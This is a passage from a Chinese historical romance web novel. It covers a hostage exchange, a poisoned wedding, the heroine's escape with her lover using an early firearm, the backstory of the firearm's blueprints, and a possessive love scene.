相隔不过数十步,她只能眼巴巴望着他,一瞬不瞬地望着他。 霍霆勒着缰绳的手,蓦地攥紧,心脏也被攥得泥泞不成形。 他紧赶慢赶,还是来晚了。 让他的姑娘遭了这般多的罪! 忽见这时,那抹窈窕的身形,轻盈一跃跳起,又在原地转了两圈,直到被旁人制止住。 举止不雅,却让他暗暗松口气。 还能跑能跳,说明精气神饱满,这小家伙比他预想的还要坚强。 真是他的好姑娘! 城门低下,裴夙循声瞥向身后,眼神阴恻恻的。 华姝如今有人撑腰,身板更笔挺几分,冷眼瞪回去,输人但不输阵。 裴夙只当她闹小孩子脾气,随手揉了揉她头顶,撑伞朝前大步走去。 转身刹那,眼神蓦地一凛。 “镇南王,又见面了。” “裴督主,别来无恙。” 两个男人一上一下,一稳一烈,言语礼数周到,眼神则锋利似刃。 长风飒飒卷起飞沙,四目相对,无声却胜过万马齐鸣。 裴夙黑眸微眯,“我的人呢?” 霍霆抬手一挥。 即有两人一左一右,架着个白发老妇走到阵前。同样被用软布束缚双腕,堵住了嘴。 裴夙端详着她,仔细核查是否无恙。 华姝也远远打量着她,这位骆姓老妇穿戴朴素,举手投足之间却是不卑不亢,似是见过大世面。 裴夙从老妇身上移开目光,重新看向霍霆,冷笑:“你能找到她老人家,也当真是煞费苦心了。” “也没费什么功夫。”霍霆慢条斯理:“说起来,一切多亏了你那个柳大夫。” “成事不足,败事有余!” 裴夙低低咒骂道。 霍霆没心思与他多耽搁,腿夹马腹,马蹄笃笃上前几步,居高临下而睨,沉声勒令:“不必再废话,换人罢。” 裴夙却是没发话。 他看看面前白发苍苍的老妇,又回身忘了眼跃跃欲试的华姝,再放眼环顾四周,打量悬殊的敌我兵力。 这锦城内驻扎兵马超过两万。 而这银甲骑兵不过五千余人。 霍霆看穿裴夙的意图,一语道破:“怎么,裴督主为了个女人,连奶大自己的乳娘都不顾吗?” 他举目四望,朗声大喝:“连奶娘都能不顾,你们这三军将士,日后可还有活路——” 这一嗓子雄浑嘹亢,掷地有声! 吼完后,华姝就感觉她四周的步卒们,气势瞬间乱了。虽没有立即临阵逃跑,但原本那股气焰铮铮的军魂,没了。 裴夙亦有所感,回身呵斥:“我看谁敢乱?!” 众兵瑟瑟一抖,噤若寒蝉。 这时,那骆奶娘忽地动了,抬手艰难地指了指自己的嘴,似有话要说。 霍霆眉峰微动,让人拿走她口中布条。 老妇望向裴夙,慈爱一笑:“夙儿,那位姑娘就是小姝吧?” 她和裴夙一同朝华姝看过来,欣慰点点头,“这姑娘长得可真俊,为人也机灵,难怪你常常念叨。你若真心喜欢,可不兴如此对待人家,得好生疼着护着。” 裴夙像挨训的孩子,抿唇,不置可否。 骆奶娘也不气,继续笑道:“要是能亲眼瞧见你们成婚,就更好了。” 裴夙赫然察觉不对,猛地一步跨上前。 但还是晚了。 说时迟那是很快,那慈善孱弱的骆奶娘,突然就冲着身侧的长剑扑了上去。 银剑进,红剑出,贯穿她整个脏腑。 所有人都始料未及。 乌云蔽日,现场陷入一片死寂。 骆奶娘虚弱地瘫倒在地,嘴角冒出一串血泡,“儿啊,自古成大事者不拘小节。奶娘以后会在天上继续陪……陪你……” 裴夙瞳孔骤缩,怔怔盯着,一动不动。 半晌后。 他双目泛起滚滚的腥红,忽地仰天长啸:“奶娘——” 声音撕心裂肺,阴狠逼人。 那一刻,哪怕华姝隔着三丈多远,也能感受到男人浑身压制不住的戾气。 他回头交代容城一句:“护住奶娘遗骸!” 说完,以伞为剑,疯了一般冲进银甲铁骑中,对着霍霆又刺又砍,疯狂厮杀。 仿若一头被人捣毁老巢的恶狼,恨不得将他们抽筋拔骨、生吞活剥。 霍霆等人亦是迅速作出反应,排兵布阵,将他重重围困其中。 与此同时,容城一声令下,大量兵卒蜂拥而上,将五千铁骑一冲而散,分而化之。 顷刻之间,刀光血影,断肢乱飞。 苍茫尘土漫天。 华姝被震撼到好一会,才从骆奶娘的自戕中回过神来,那瘫殷红血泊触目惊心。 她望向硝烟弥漫的前方,心如擂鼓,后脊冒出大片的虚汗,趁着容城收敛骆奶娘的尸骸,伺机趁乱绕路摸过去。 哪知没跑出几步,就被一名暗卫逮了回来。 那日城门前,混战近两个时辰,一直僵持到日暮时分。 霍霆手上失了筹码,所带铁骑比不得城中的数万精兵,最后在手下将士的极力劝阻中,不得不先行撤离。 他勒紧缰绳转身,一步三回头,望向华姝,再看看伤痕累累的银甲骑兵,被迫狠下心肠,扬鞭策马远去。 * 之后三日,华姝未见裴夙其人,却无时无刻不被一股寒冷的阴霾所笼罩着。 仆人们更是埋头走路,不敢发出一丁点动静。 明明在准备喜宴,却比丧事还要沉郁。 哪怕华姝再不愿意嫁,也不敢再在这等节骨眼上生事,只能走一步看一步,见机行事。 三日后,大婚如期举行。 红灯高挂,鲜花烂漫,笙箫齐鸣,到处都是一片喜庆的红意。 华姝手持一柄红色祥云形的雕花遮扇,走进礼堂时,四处高朋满座。 锦城的达官贵人似乎都来此恭贺,或主动,或被动,一脸笑得勉强。 毕竟骆奶娘的尸身,就那么直挺挺地躺在堂上。 她已被画过妆容,身下铺满馨香的五色鲜花,周围用冰块镇着,遗容依旧和蔼可亲。 二拜高堂时,裴夙即对着骆奶娘叩拜。 “儿今日成婚了,您老安心上路罢。” 死者为大,华姝又念在骆奶娘死前的暖心叮嘱,对着老人家恭敬福了福身,礼数得体周全。 她难得温顺懂事,裴夙阴沉多日的脸色,总算好看些许。 他牵过她,朝堂外拜天地。 转身瞬间,华姝不动声色地扫视众人,寻找着那人的身影。 今日这场鸿门宴,大伙都心知肚明。 裴夙侧头看她,笑吟吟问:“你猜,霍霆此刻会混在何处?” 华姝不答反问:“你已经知道了?” 就在问话瞬间,她目光越过裴夙肩线,落在一个正大口闷酒的络腮胡子身上。 那人一身南戎的异族装束。 可那人的脸皮…… 那是她给霍霆做的那张假面皮! 裴夙顺着她视线瞧去,“寻见了?” 华姝已先一步转移目光,盯着为首的那个南戎使臣,不可思议地质问:“你口口声声让南戎陪葬,现在反倒让他们来恭贺你新婚?” 裴夙并不作解释,别开脸,轻轻用力按住她后颈,朝着堂外满满拜下去。 “礼成!” “送入洞房——” 洞房还安排在华姝之前住的小院。 回来的路上,她明显感觉本就守备重重的小院,更是被围着水泄不通。 就像布下一张天罗地网,只待大鱼自己主动钻进来,来咬她这颗明晃晃绑在勾上的饵。 这些,仅凭华姝一人之力难以阻止。 她能做的,就是不在裴夙面前露马脚。 她亦是深表疑惑,霍霆为何会混入南戎使臣的队伍中? 花团锦簇的洞房内,喜婆唱着祝词。 但那张浓妆艳抹的老脸上的僵笑,比哭得还难看。 华姝嘲弄瞥向身侧。 裴夙也觉无趣,不耐摆了摆手。 几个喜婆如蒙大赦,连喜钱都没要,争先恐后地逃出门。 洞房空荡下来,龙凤喜烛摇曳。 裴夙伸手接过华姝的面扇,近距离凝看着她,面带苦笑:“虽不能真的洞房,且陪我饮一盏合卺酒,可好?” 华姝捏着酸痛手臂,“我能拒绝吗?” 裴夙没答,起身端来两盅合卺酒。 他递给她一杯,言辞直白:“里面加了些七步断肠散,你等会乖乖的,待事成之后,我会即刻予你解药。” 华姝看向酒盅,清澈的液体满满登登,她却毛骨悚然,不寒而栗。 七步断肠散,据说乃是由七种毒虫和七种毒草熬制而成,如附骨之疽,让中毒者肠穿肚烂而亡。 而要解此毒,必须要集齐十四种一一相克的解药。别说每一种解药都是稀世奇珍,单说这毒却发作极快,七步即刻毙命,根本来不及配置解药。 华姝冷冷抬眼,“裴督主当真好计策啊!” “小姝,这是最后一次,我保证。” 裴夙深深凝看她,温声宽慰,却不妨碍他一直稳稳端着酒盅。 华姝无声攥紧身下的大红锦绣床单,骨节隐隐泛白。 她不能喝,绝对不能喝。 一旦喝了,这杯酒要的就是霍霆性命。 眼波流转,清瘦身形的气势柔软下来。她唇瓣孱颤,“奶娘说过,要你疼我护我,那些话都不作数的么?” 她努力将眼圈挤出一抹红意,朝他摊开手掌,“你也别掺酒了,索性将药粉全予我。我现在就下去,还能追上她老人家帮着评评理。” 裴夙瞳孔微震。 手上力道倏然不稳,酒盅内的液体洒了出来。 他凝看身前红着眼圈的姑娘,下颌绷紧,微眯眼,漆黑锐利的视线似能洞穿人心。 “小姝,奶娘的事利用不得!” “换作旁人,你这会无需药粉就已经上路了,你可明白?” 华姝逆着他幽冷的目光,倔强道:“无妨,反正你又不是第一次要杀我了。” 裴夙默然一瞬。 华姝趁势站起身,一步一步靠近他,带着对师父骆嘉然怀念的一抹委屈,句句逼问: “皇龙寺,将千羽表姐误当成我抓走的,是不是你?” “京郊十里亭,不顾我在就朝司空府众人放冷箭灭口的,是不是你?” “秋猎雪山上,亲手一掌将我打下万丈断崖的,是不是你?!” “云城起瘟疫,你可曾想过,我也可能被感染、无药而终?” “都到现在了,你连给我的合卺酒都带着剧毒。”她指着洞房中一张张大红喜字,厉声悲愤:“说这是最后一次,你自己信吗?!” 她每前进一步,裴夙就后退一步。 直到他后腰抵住屋中央的圆桌,两人顿足,身穿着龙凤呈祥刺绣的大红喜服,无声对峙。 长夜寂寂,红烛已燃掉一截。 缓缓滚落的烛泪,似泣不尽的心事。 良久。 男人周身阴冷的气息逐渐散去。 他深吸一口气,闭上双眼,提音命令:“容城,去将那副玄铁脚铐取来。” 容城令行禁止,很快去而复返。 裴夙伸手接过,眼神示意华姝坐回喜床边上,他亲自屈身蹲下,将脚铐缠过拔布床的柱子,一一扣锁住她纤细的双踝。 华姝试图动了动,玄铁沉重千钧,双腿宛如托着一道巍巍大山,她挪不动一点。 裴夙站起身,趁机揉了揉她头顶,“小姝,这是我能做的最大让步。别再逼我,好么?” 华姝抿唇不语,只觉自己从一个火坑跳进了另一个火炕。 院外本就布防重重,再摊上她这么个拖累,霍霆又当如何破局? 她还是太过稚嫩,论心思谋略,到头来比不过任何一人。 华姝额角抵在床边桅杆上,双眼空洞,面色死寂。 裴夙瞧着她这般垂头丧气,也无奈叹了叹,侧头吩咐门口的婢女,“去给夫人取些红豆饴糖来。” 而后负手默立须臾,带着容城等人出门。 * 月明星稀,夜风习习,寒鸦栖枝。 裴夙:“可都安排妥当?” “人手已全部就位。” 容城抬手戟指着对面,一座两层藏书楼正对此处。窗户一角,乃是绝佳的观测点和射击点,此刻一柄暗箭已泛着幽幽的寒光。 裴夙唇角染笑,“甚好。” 说罢,他回头轻瞥一眼房门,抬脚走进院中的厢房。 容城扭开暗室的机关,主仆二人步履从容地绕回洞房的百宝阁后,仅余一墙之隔。 房中安安静静的。 期间有婢女拿来红豆饴糖,华姝一言不发。 过去半晌,那玄铁脚铐也一声未响。 裴夙无声喟叹,这小东西似乎真的丧失了所有斗志,日后恐是一时半会缓不回来。 约莫巳时三刻,屋顶瓦砾阵阵作响。 要等的人,终于来了! 裴夙微微眯眼,看向身侧。 容城惊惶色变,他明明事先已让人死守住屋顶,竟还是叫镇南王钻了空子! 咚! 屋顶的人一跃落地,洞房响起脚步声。 来人声音忧切:“姝儿,他可有伤着你?” 华姝似有迟疑,似有纠结:“不曾,他待我倒也算得真心。” “你跟裴夙谈真心?” 霍霆显然未料到她这般说,语气甚是诧异:“你这几日莫不是被他灌下什么迷魂汤药,竟连满门血债都不顾了?” “华府上百条无辜冤魂,我自是不能忘。可是,”华姝话锋一转,长长叹息:“澜舟,我们也回不去了。” “你虽未杀伯仁,伯仁却皆因你而亡。”她哽咽道:“你要我怎么办呢,再欢欢喜喜嫁与你么?” 霍霆自是不信:“这是你心里话,还是受人胁迫?” 华姝的哭泣更甚,鼻音愈加浓重:“澜舟,你别怪我无情,要怪就怪命运不公吧。” “我最后再问你一遍,”霍霆沉下声:“你是真心要与我断?” 华姝:“……是。” 霍霆:“清白已给了我,你还要再嫁别的男人?” “虽是亲密,好在未落到实处。”华姝啜泣不止,“你……四叔就当没发生过吧。” “好啊,好的很!” 霍霆冷笑阵阵,字字切齿:“华姝,记住你今日这番话,你给我记住了。” “好好好!”裴夙打开暗墙,闲庭信步而出,鼓掌道:“今夜,镇南王难得唱这么大一出苦情戏,真是叫人叹为观止。” 霍霆本是面对喜床而立,闻声蓦然转过身来,露出那副络腮胡子的伪装面容,目光漆黑沉沉。 裴夙了然一笑:“原是这般进来的,倒也算是让本督有幸开了眼。” 霍霆络腮胡子微动,唇角讥诮:“你确实荣幸,一个没根的东西,连本王用剩下的女人也是巴巴娶了呢。” “你找死!” 裴夙眸色冷厉如刃,话音未落,身子那个已如疾风一掠而出。 霍霆迎面而上,径直与他缠斗起来。 两人拳风凌厉,招式狠绝,你来我往之间谁也不肯退让半分。 洞房里原本摆放的喜庆摆件,全被摔得噼里啪啦,四分五裂。 激战至紧要关头,裴夙猝然使出一记虚晃,趁其闪躲的刹那,指尖一挑,猛然一把撕掉了霍霆的假面皮。 两人对踹一脚,皆是急急后退数步。 裴夙停在喜床边,将那假面皮交给华姝,又当着霍霆的面,亲昵地捏了捏她脸蛋,“好生收着,他不配用这物件。” 华姝有苦难言,只能红着眼干瞪他,像是一只炸毛的兔子,反倒逗得他一笑。 裴夙回身看向霍霆,语气不掩得意:“如今王爷既失了伪装,又失了佳人心,着实可惜呐。” “总不好叫你白来一趟,不若交出那份图纸罢。”他循循诱道:“你我还能坐下来,和和气气谈上一桩买卖,如何?” “你说的图纸,可是这东西的图纸?” 说话间,霍霆从怀里掏出一把火铳,猛地掷在身旁的圆桌上。 “嘭”得一声沉响,惊得裴夙骤然脸色,“你、你们已经做出来了?” 他难以置信,“不可能!朝廷这些年严格把关那些材料,你们如何能自己制得?” 容城带人守在门口,亦道“不可能!” 他费解地看着霍霆,“今日来观礼的宾客,皆被层层检查。就算你易容能混进来,这般大的物件,你又如何能蒙混过关?莫不是随便拿个木雕,在这虚张声势?” “这有何难?” 霍霆嗤笑了声,将火铳拿在手上随意把玩着,“还得多亏裴督主让南戎领兵来犯。材料皆为他们所出,东西也是拆分后,作为南戎特产带了进来,稍加组装即可。” 裴夙眼皮一跳,眉心皱作成结:“那封南戎发来的战报,是你指使的?!” 霍霆颔首:“正是。” 裴夙气急:“你——” 他正欲愤然发作,一时忘了防备身后。 华姝瞅准时机,悄无声息地拔下了头上的玉簪。满头金簪之中,唯那柄玉簪尤其突兀。 她拨通机关,玉簪露出一条细长锋利的刀刃,毫不犹豫地就一把扎进裴夙的后心。 “主上!” 容城大喝一声,登即就要带人冲进来。 却听得“砰”得一声巨响。 霍霆手持那一柄所谓的“木雕”,擦qiang走火,震慑力十足,将容城等人尽数横拦在门外。 在这怔惚之间。 屋内,裴夙回头看去,“……小姝?” 他视线倏地下移,注意到滑落在她脚边的一块白色绢布。那原是用来承接落红之物,如今上面密密麻麻地写满了殷红的字迹。 裴夙再看向华姝染血的食指,后知后觉地冷笑出声,阴冷狠辣的面容上充斥着狼狈与溃败。 刚刚那出大戏,她不是演给霍霆的,原是演给他的…… 趁他失神的刹那,华姝握紧簪刀,又狠狠地捅进去几寸。 双眼通红,字字泣血。 “我若连他都恨,又岂会留你全尸?” 裴夙垂眸瞧了眼插过胸口的簪刀,苦苦一笑:“小姝,若我当初未灭华府,仅凭东厂督主这一个身份,你可还会如此待我?” 说话间,他骨节分明的大手,似鹰爪一般缚在她纤细的脖颈。 却终是没有收紧力道,“先前既是承诺你是最后一次,为师说到做到。” 与此同时。 第二声“砰”然巨响,直冲喜床而来—— 第73章 “现在呢,姝儿还想嫁谁…… 火铳爆裂开来的瞬间, 容城毫不犹豫一个飞身猛扑。 用自己的血肉之躯,硬生生地挡住那强劲的弹火,心口当场被炸得稀巴烂,血肉模糊一片。 他重重栽摔在地, 强撑着最后一丝力气, 朝裴夙艰难抬手, “主上,快走——” 裴夙蓦地回首, 盯着气息奄奄的容城,双眸转瞬腥红。 眼见霍霆再次朝他举起火铳,裴夙不得以弃了华姝,捂着淌血的心口,纵身一跃,翻窗而去。 下一瞬,府上大批的带刀护卫,就如暗流涌动的潮水一般包拢过来。 密密麻麻,层层叠叠, 登即将洞房围得水泄不通。 “嘭!嘭!嘭……” 一柄柄的利刃冷箭, 从四面八方, 齐刷刷地射入屋内。 窗棂、花瓶、西饼、龙凤烛……噼里啪啦,粉身碎骨, 无一幸免。 霍霆反应迅速, 一脚哐当踹上房门, 放倒圆桌抵住门口。 一手猛地打在华姝岔开的双脚铁烤上, 火花四射,铁链应声而断。 华姝拖着沉重的铁链,艰难避到他身侧。然后急急接过信号烟花, 顺着屋顶的破洞,一飞冲天—— “咻!”烟花炸裂。 很快,霍霆的十几名手下带着火铳,直奔洞房而来。以雷霆之势,将幽暗诡谲的夜色,撕开一条血路。 他们快马加鞭,一路闯出南城门,与城外的银甲铁骑汇合。 铁骑垫后,霍霆抱着华姝坐上马车。 长缨一言不发,闷头驱车赶路。 马车内 华姝惊魂未定,靠在霍霆怀里时,仍是四肢发软,指尖止不住地颤抖。 霍霆轻抚着她后背,“不怕,都过去了。” 华姝怕得说不出话,埋脸在他胸口,细嗅着熟悉的浓烈气息,身子微有舒展。 霍霆见状,腾出手,从车厢角落的矮柜中取出香炉和火折子,为她焚了一炉安神香。 一缕浅烟自香炉漫开,清和微甜,不浓不烈,轻轻绕在华姝的身侧。 方才心头的惊惧,被这温软香气一点点抚平,呼吸慢了下来。 随后,霍霆又从矮柜取出金疮药,温热大掌握住她冰凉的手指,对着染血结痂的食指,有条不紊地涂药包扎。 男人叹息:“说你胆子大,吓成这般。说你胆子小,在紧急关头又能自损至此。” 彼时在喜床旁,华姝朝他说出那般绝情的话,霍霆也是真的怒火中烧。 直到瞥见她那封以指尖作笔的血书,写满了逃脱的计划,他当时是既然震撼又心疼。 满满当当的一封血书,且不知流干她多少心血,只得顺利而为。 华姝垂眸,动了动被包裹成粽子的食指,蹙起两弯细眉,“那柄簪刀还是太细,没能直接结果了他性命。” “你还敢说?” 霍霆语气冷下去,不慎温柔地捏起她两颊,墨眸沉沉:“那簪刀,我是予你必要时防身的。裴夙何等功力,你竟敢与之硬碰硬?” 华姝恍然沉默一瞬。 是啊,在旁人眼中裴夙就是个十恶不赦的大魔头,别说朝他动手,就是背后说一句坏话,次日就可能满门化作灰烬。 她这几日在他面前嚣张惯了,不过是倚仗着那一点师徒情分,潜意识里已认定他不会真的取自己性命。 可惜这迟来的深情,她已然无力承受。 她的突然沉默,竟让霍霆一时看不透。 他松开手,低头吻了吻她唇角,“在想什么?” 华姝没心思回应他,只转了目光,看向软垫上的那柄火铳,“他们要找的就是这物什?” 火铳的构造有三分类似袖箭。原来架设短箭的部位,替换成了一条细长的火管。玄铁打造,做工精湛,一看就出自顾铁匠……秦枭的手艺。 “此为火铳,他们最初遗失时,还是几张草图。” 霍霆伸手拿过来火铳,但不敢让华姝碰。只将弹药卸下来一枚,给她观看。 那枚弹药,被包裹在一枚板栗大小的长圆形铁盒里。华姝拿在手间仔细端看,“这小小一枚,威力竟是那般惊人?” 霍霆不疾不徐地解释:“顾朝安照炮仗的制作工序,又几番尝试,改良了硝石、硫磺、木炭粉等物什的配比,才得以将杀上力提到极致。” 经他这般一说,华姝想起来了。 早前,她有几次确实听见隔壁传来“嘭嘭嘭”几声巨响。但以为是打铁时发出的声音,左邻右舍们都未多理会。 不得不承认,秦枭和顾朝两人这些年用心良苦。 霍霆又道:“这些年,朝廷下令禁止民间私下买卖硝石。这第一批火铳,直到今早才赶至出来。” 他将华姝又佣紧些,“那日城门口没来得及救出你,着实怪我疏忽。” “哪里能怪你?”华姝回忆起那日情形,慨叹:“恐是裴夙自己都未曾想到,骆奶娘自戕得那般决绝?” 说到这,她问出心头多时的疑惑:“这位骆奶娘有何来头?”竟能得裴夙真心善待如斯。 “说来话长。”霍霆沉思片刻,为她徐徐讲述起那一段前尘往事…… 二十七年前,霍霆还是三岁襁褓婴孩。 先帝在位,昏庸无能,治国无度。偌大疆土像一块砧板上待宰的肥美鱼肉,引得周边各国缕缕进犯。 秦枭临危受命,率领秦家军前往云城,对战南戎。却因为军需粮草迟迟不到,被南戎打得节节败退,不得不签下向南戎割地岁贡的屈辱条款。 南戎的老国君亦是荒淫无道,喜欢玩虐娈童。打着读书求学的名义,让各个战败国的幼龄皇子入宫为质。 当时大昭皇宫,仅五岁的昭文帝符合年纪。先帝为保全皇子,遂一同送去十几名伴读,尽挑些清瘦貌美的。 裴夙生母乃舞姬出身,男生女相,想也知道会是什么下场。 骆奶娘曾受裴母多番恩惠,无以为报,最后一狠二狠,让亲子骆嘉然与裴夙互换身份,抗下了最初的迫害,也惨死他乡。 两年后。 南戎老国君病故,昭文帝幸得平安归来,但幼小的心智已然变形扭曲。 借着年纪小无人防备,他与裴夙,暗中悄悄展开一场惨绝人寰的复仇计划。 经过休养生息,秦枭再次领兵征战。当时,兵部制作出一批火铳草图,威力迅猛。按理说,这场战役定能一雪前耻。 前太子负责督办火铳,却被指控向南戎泄密私通,意欲叛国。证据确凿,事关国祚,先帝挥泪处斩嫡长子。 昭文帝正式入主东宫。 而前太子在出事前夕,已察觉到处境不妙,安排一个太子良娣,带着火铳的图纸,毁容逃出。 九死一生逃到云城,将图纸拿与秦枭。是以,秦枭才会背上身中美人计的骂名。 一来,秦枭得知,真正叛国之人乃是昭文帝。 为得到皇位,他与裴夙不惜和南戎的新帝签订更丧权辱国的条款,来获取外部兵力支持。更是不惜将火铳的图纸,拱手相让。 二来,秦枭得知,那位太子良娣怀有前太子的遗腹子。 那遗腹子,正是顾朝。 * 临近天明,一行就近赶至宜城。 偌大的镇南王府,岿然屹立在宜城的主干道上,雕梁画栋,气派恢弘。 园中小路九曲回肠,一步一景。 不过从大门到主屋,就给华姝绕晕了。 早有小厮备好热水,待他们两人一到,就轻手轻脚地鱼贯而入浴室,摆放换洗的衣服,布置茶水点心,所需之物一应俱全。 和初到京郊别院一样,府上不见婢女。 不过霍霆有经验在先,特意命人备好女儿家的闺阁之物。 他将主屋浴室留给华姝,自己去东厢房简单冲洗一番,大老爷们自是要快上许多。 他也不催她,自行去主屋西间的书房,处理积压的军务。 华姝难得放松下来,舒服泡了热水澡。 待穿戴整齐,走出浴室时,那件搭在屏风上的喜服,早已不翼而飞。 虽是结婚仓促,裴夙准备的那件喜服,刺绣精致华美,比她在京城见的还要好看。 大抵碍着某人的眼,被草草打发掉了。 书房门开着,华姝探头望了眼,书案上摞着两堆高高的奏折。 男人正在聚精会神地挑灯夜读,手上笔墨龙飞凤舞。 她没有打扰到,转到东间寝屋的窗前,对镜绞干湿漉漉的长发。 不多时,沉稳的脚步声由远及近。 霍霆站定在她身后,双臂拢住只着单薄亵衣的香肩,温声关切:“好了些么?” 华姝自铜镜中,与他对视:“好多了,大抵还要缓上两日。” “慢慢来,你做的已经很好了。” 霍霆顺势拖住她下巴,粗粝指腹摩挲着莹润的唇瓣,华姝体内激起阵阵颤栗。 她忙按住他手,起身面朝他,意味深深:“澜舟,我的意思是,想一个人安静待上两日。” 见她脸色严正,霍霆眼神迷惑一瞬,恍然想起华姝在洞房时提及的那句“你虽未杀伯仁,伯仁却因你忘。” 他突然意识到什么,眉峰缓慢蹙起,“你什么意思?” 气氛骤然冷凝下来。 华姝不敢再看他,避开眼,盯着他贴心为她准备的梳妆台和各类时兴的成套首饰头面,愈加难以启齿。 她起初真的很恨秦枭,可今晚得知他所作一切,皆是为国为民后,不得不敬佩他的慷慨大义。 尤其经历过这遭战火纷飞,秦枭拼命拦截下来的火铳图纸,不知让多少百姓免于生灵涂炭。 她虽敬佩秦枭为人,却无法不会介意。 若华府乃自愿尽忠,那便是死得其所。可他们皆是含冤而亡,徒遭横祸,让她就当什么都没发生过,华姝做不到。 “澜舟,我不知该怎么办了。” 她仰头看向他,眸光透着恳求与艰涩:“可若换作你,又会怎么选?” 霍霆扪心自问,他又何尝不恨? 且不提,京郊别院一座座石碑上的那么多亲友名讳;单说他的生母含恨病故,到死都不明真相。以她自己瞎了眼,看错了人。 秦枭作出这番决定时,可曾挂念过远在京城的妻子,和不过五岁的幼子? 秦枭乃是入赘镇南侯府,随了妻姓。 那被株连的秦氏九族,皆是霍霆外祖父的骨肉至亲。就连这支险险保留下来的暗卫,亦是外祖父留给母亲的倚仗。 霍霆恨呐! 但当年换作是他呢,就眼睁睁看着整个大昭,被敌国拿着自己人设计出的火铳一一轰毙,到处血流成河? 他似乎也做不到。 一面是泱泱大国,一面是温馨小家,手心手背皆是柔软。霍霆试想,秦枭当初做这决定时,可曾也这般进退两难、步步揪心? 霍霆默立良久。 直到,窗外泛起一丝熹微的天光。 映照起面前姑娘的侧脸,高挺的鼻梁,白皙的纤颈,皆被曦光勾勒出优雅的弧线。 雪白微透的肌肤,凝神沉思的眼神,轻轻孱动的眼睫,宛若一只振翅欲飞的羽蝶。 美得让人晃了神…… 恍然间,霍霆忽然意识到一个问题。 一个很重要的问题。 他抉择之艰难,是在于是否原谅秦枭。 而华姝的症结,却是嫁不嫁他。 这一发现,让他心中钝钝空了大片。 只觉一惯依赖自己的蝶儿,似要越飞越远,握不住,够不着,从此再难相见。 几乎瞬间,霍霆就伸手紧紧握住华姝双臂,漆黑的目光波澜四起,声音隐隐透着不安的焦躁:“那我呢,也要被连坐?” 华姝答不出,垂头不语。 霍霆心中愈加躁动不止。 他俯低下身,与她视线齐平,定定盯着她,再一次逼问:“你当真要同我断?” 华姝抿了抿唇,“能让我想想吗?” 最近发生太多事,她大脑乱嗡嗡的。 霍霆周身的气息沉郁下来,他放开手,慢慢直起身,“你莫不是真对那人动心了。” 他凝看着她,脸上失神中掠过一丝失望:“莫不是在洞房内撂下的狠话,也句句发于肺腑。” “怎么会?” 华姝忙道:“那些都是戏言。” “如何证明?” 男人唇瓣抿成一条线,眼神受伤。 “那你还曾有言,我只是个你用剩下的女人。”华姝没有陷入自证,她不答反问:“你又当如何证明?” 霍霆:“用行动证明。” 话音未落,华姝已被抵在梳妆台上。 他动作来得突然,她慌乱之间抓住了他寝衣,不慎扯掉那衣襟上的玄蟒盘扣。一股强悍浓烈的气息,瞬间迎面扑来,烫得她指尖蜷缩。 他一手扣住她后腰,一手扼住她下颌,迫使她檀口微张,任由他攻进她细嫩的腹地。男人灼热的舌头过大,以至于她唇齿都合不拢。 她狠心去咬他,反倒成了一种回应,他愈发贪婪地回咬着她,像是一头攫猎进食的雄狮,恨不能将她拆吞入腹。口腔的酥麻,暴戾地激荡全身。 有那么瞬间,华姝觉得这人疯了。 比裴夙还要疯狂。 她的走神,惹得霍霆越发恼火,噬咬得愈加凶狠,痛得华姝倒吸了口凉气。 他松开她唇,又猛然一把扣住她后颈,眼神爱欲如焚:“你又在想什么?你又在想着谁?”说话间,粗粝大掌将她压在梳妆台上。 他力道依旧凶狠,噬咬得不甚温柔。华姝再次闷哼吃痛,十指蜷进他半干半湿的乌发中,纤颈忍不住闪躲。 随着他的施为,痛苦中又蹿起一股新的酥麻,华姝小腿开始瑟瑟发软。 更要命的是,窗前有小厮晨起来洒扫。 “沙沙沙……” 似那每一下的粗粝都磨擦在心口。 华姝更是站不稳,想推开他却比登天还难,只能压低声音,软声求饶:“别,会被听见……” 霍霆却不准她动弹半点,铁臂收紧,将她牢牢按在梳妆台上,“姝儿,你再说一次。” 华姝湿眸迷蒙不解:“什么?” “说他对你也是真心。” “说我们再也回不去了。” “说你要再剜一次我心。” 男人字字恳切,句句相逼。 华姝却是咬紧下唇,急急去拦他恶劣拨弄她的那根手指,挣扎间,羞得她难以启齿,体内又升起强烈的异样。 偏他还执起她手腕,轻轻痒痒炙吻,烙下一串细密的印痕,像头雄狮强势地标记着自己的领地。 “你是我的。” “只能是我的。” “永远都是我的。” “以后不准对旁人亲近。” “不准对旁人动心。” “更不准与旁人拜堂成亲。” 每说一句,他就重重拨动一下,华姝脸颊上的绯红就更浓深一层。 窗外的小厮还未远去,她不敢发出声音,咬着唇恨恨嗔瞪他,却在男人眼中,成了别样的情致。他的吐息变得急躁,低低落在她耳后,让人心悸又陶醉。 是以,何时纠缠入帐,她已记不清。 施加过来的力道并不重,可无论怎样耐心温柔,真落到实处,总是那般强悍可怖。 华姝蛾眉难耐,啜泣不止。 她后悔了。 当初就不该招惹魁岸壮实的武将,合该找个文文弱弱的文官,这会也就不会被逼迫成这副不争气的样子。 华姝翕了翕红肿的鼻尖,气闷轻哼:“你、你再这般欺负人,我就真不嫁与你了……” 霍霆身形一僵,抓住她双手,十指紧扣,青筋蚺起。 一滴热汗坠落华姝颈间,他低头吻去,鼻尖相抵,眼中的吞占之欲幽深而汹涌。 “我们都已经这般了,姝儿不嫁我,还想嫁谁?” 这番架势,酷似狮子大开口叼住兔子,越发威凛可怕。 华姝哪还敢再威胁他? 好不容易支棱起来的耳朵软耙下去,水眸红彤彤的,可怜又凄美,惹得霍霆百般爱不释手。 窗外晨光大盛,院中脚步声嘈杂起来。 似有那仆人挑着扁担来浇花,咿咿呀呀,花儿被浇得饱满而绽放。 待一切结束时,华姝好似在热汤泉里滚了一遭,大汗淋漓。 霍霆将她抱在怀里,仔细择去她眼角沾的湿发,落下一吻。他这会的口吻总算是柔和了些:“适才一时没控制住,可是吓着了?” 华姝累得没气力说话,闭眼不想理人。 何止被吓到?她几次被逼得几近崩溃。 华姝只觉,今晨自己头一次认识他。 从前的克己复礼不再。 从前的温柔体贴不复。 不断释放自己,不断攻城掠池,威风凛凛的态势一次次裹挟着她就范。 一度陌生得可怕…… 游医在外,知晓正常范畴大抵一刻钟,强善的乃是两到三刻。 而霍霆年近三十都未娶妻,身边连个丫鬟都不放,想来是不大热衷的。岂料他、他……眼见窗外阳光四泻,都映到床帐,华姝欲哭无泪。 天赋异禀者,果真是处处强得骇人。 以后这日子还能安生吗? 霍霆半支头,静静瞧着她,瞧着她皱鼻嘟唇、愁容惨淡的委屈模样,心里软得一塌糊涂。 “怪我,不气了可好?我下次注意。” 华姝嗓子早哭哑了,鼻腔哼了声,软乎乎的,叫人听着越发爱惨了去。 